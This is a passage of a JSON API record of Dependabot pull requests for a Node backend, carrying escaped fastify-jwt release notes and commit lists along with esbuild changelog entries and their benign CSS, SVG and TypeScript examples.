Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v8.0.0...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/DouglasPortoo%2FGymPass-style-app-SOLID-API/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"}},{"old_version":"4.0.5","new_version":"6.1.0","update_type":"major","path":null,"pr_created_at":"2026-02-19T08:10:02.000Z","version_change":"4.0.5 → 6.1.0","issue":{"uuid":"3961549235","node_id":"PR_kwDORTuQ7c7Ezp_U","number":1,"state":"closed","title":"chore(deps): bump the npm_and_yarn group across 2 directories with 4 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-03-05T08:53:58.000Z","author_association":null,"state_reason":null,"created_at":"2026-02-19T08:10:02.000Z","updated_at":"2026-03-05T08:54:00.000Z","time_to_close":1212236,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":4,"packages":[{"name":"esbuild","old_version":"0.21.5","new_version":"0.27.3","repository_url":"https://github.com/evanw/esbuild"},{"name":"esbuild","old_version":"0.21.5","new_version":"0.27.3","repository_url":"https://github.com/evanw/esbuild"},{"name":"fastify","old_version":"4.29.1","new_version":"5.7.3","repository_url":"https://github.com/fastify/fastify"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fast-xml-parser","old_version":"5.3.4","new_version":"5.3.6","repository_url":"https://github.com/NaturalIntelligence/fast-xml-parser"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /frontend directory: [esbuild](https://github.com/evanw/esbuild).\nBumps the npm_and_yarn group with 4 updates in the /backend directory: [esbuild](https://github.com/evanw/esbuild), [fastify](https://github.com/fastify/fastify), [fast-jwt](https://github.com/nearform/fast-jwt) and [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser).\n\nUpdates `esbuild` from 0.21.5 to 0.27.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.27.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003ePreserve URL fragments in data URLs (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4370\"\u003e#4370\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eConsider the following HTML, CSS, and SVG:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eindex.html\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"html\"\u003e\u003ccode\u003e\u0026lt;!DOCTYPE html\u0026gt;\n\u0026lt;html\u0026gt;\n  \u0026lt;head\u0026gt;\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;icons.css\u0026quot;\u0026gt;\u0026lt;/head\u0026gt;\n  \u0026lt;body\u0026gt;\u0026lt;div class=\u0026quot;triangle\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eicons.css\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url(./triangle.svg#x);\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etriangle.svg\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\n  \u0026lt;defs\u0026gt;\n    \u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\n      \u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\n    \u0026lt;/clipPath\u0026gt;\n  \u0026lt;/defs\u0026gt;\n\u0026lt;/svg\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe CSS uses a URL fragment (the \u003ccode\u003e#x\u003c/code\u003e) to reference the \u003ccode\u003eclipPath\u003c/code\u003e element in the SVG file. Previously esbuild's CSS bundler didn't preserve the URL fragment when bundling the SVG using the \u003ccode\u003edataurl\u003c/code\u003e loader, which broke the bundled CSS. With this release, esbuild will now preserve the URL fragment in the bundled CSS:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* icons.css */\n.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url('data:image/svg+xml,\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\u0026lt;defs\u0026gt;\u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\u0026lt;/clipPath\u0026gt;\u0026lt;/defs\u0026gt;\u0026lt;/svg\u0026gt;#x');\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9129e00e6c36a3e374820cb5e3fc2cd319c8ab85\"\u003e\u003ccode\u003e9129e00\u003c/code\u003e\u003c/a\u003e publish 0.27.3 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e20e4115acda9c9f052fdd1ec8d7d5c5489e837b\"\u003e\u003ccode\u003ee20e411\u003c/code\u003e\u003c/a\u003e small fix to release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0dc0f2dee556460bd7b81d5bbbae5a2f86449ab6\"\u003e\u003ccode\u003e0dc0f2d\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4322\"\u003e#4322\u003c/a\u003e: parse and print CSS \u003ccode\u003e@scope\u003c/code\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/55fe39164cd3429fcb92c6f358a8dfe2f6e6e559\"\u003e\u003ccode\u003e55fe391\u003c/code\u003e\u003c/a\u003e update firefox css gradient support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/2c35297c7ad249a51b9cc3974fa91f74dc13f68c\"\u003e\u003ccode\u003e2c35297\u003c/code\u003e\u003c/a\u003e update gradient lowering transform\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9209e4445abe7610018f0f758fd5d1fa13ec3ea8\"\u003e\u003ccode\u003e9209e44\u003c/code\u003e\u003c/a\u003e Update Go to 1.25.7 (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4388\"\u003e#4388\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e8d861b68cf8c3c3a4806ec87444ee48b9af1ade\"\u003e\u003ccode\u003ee8d861b\u003c/code\u003e\u003c/a\u003e close \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4374\"\u003e#4374\u003c/a\u003e: compat table for the \u003ccode\u003eusing\u003c/code\u003e feature\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/19b8887368396934957abd75f316cc069d6cc067\"\u003e\u003ccode\u003e19b8887\u003c/code\u003e\u003c/a\u003e no longer need \u003ccode\u003ewilliamkapke/node-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7e442189722b54bc6c574ae1148e1014d99e5f32\"\u003e\u003ccode\u003e7e44218\u003c/code\u003e\u003c/a\u003e the \u003ccode\u003ekangax/compat-table\u003c/code\u003e repo moved to a new url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/23b9338ed5efbdfa29d59b8b0d8088b1761fdc39\"\u003e\u003ccode\u003e23b9338\u003c/code\u003e\u003c/a\u003e run \u003ccode\u003emake update-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.21.5...v0.27.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for esbuild since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `esbuild` from 0.21.5 to 0.27.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.27.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003ePreserve URL fragments in data URLs (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4370\"\u003e#4370\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eConsider the following HTML, CSS, and SVG:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eindex.html\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"html\"\u003e\u003ccode\u003e\u0026lt;!DOCTYPE html\u0026gt;\n\u0026lt;html\u0026gt;\n  \u0026lt;head\u0026gt;\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;icons.css\u0026quot;\u0026gt;\u0026lt;/head\u0026gt;\n  \u0026lt;body\u0026gt;\u0026lt;div class=\u0026quot;triangle\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eicons.css\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url(./triangle.svg#x);\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etriangle.svg\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\n  \u0026lt;defs\u0026gt;\n    \u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\n      \u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\n    \u0026lt;/clipPath\u0026gt;\n  \u0026lt;/defs\u0026gt;\n\u0026lt;/svg\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe CSS uses a URL fragment (the \u003ccode\u003e#x\u003c/code\u003e) to reference the \u003ccode\u003eclipPath\u003c/code\u003e element in the SVG file. Previously esbuild's CSS bundler didn't preserve the URL fragment when bundling the SVG using the \u003ccode\u003edataurl\u003c/code\u003e loader, which broke the bundled CSS. With this release, esbuild will now preserve the URL fragment in the bundled CSS:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* icons.css */\n.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url('data:image/svg+xml,\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\u0026lt;defs\u0026gt;\u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\u0026lt;/clipPath\u0026gt;\u0026lt;/defs\u0026gt;\u0026lt;/svg\u0026gt;#x');\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca 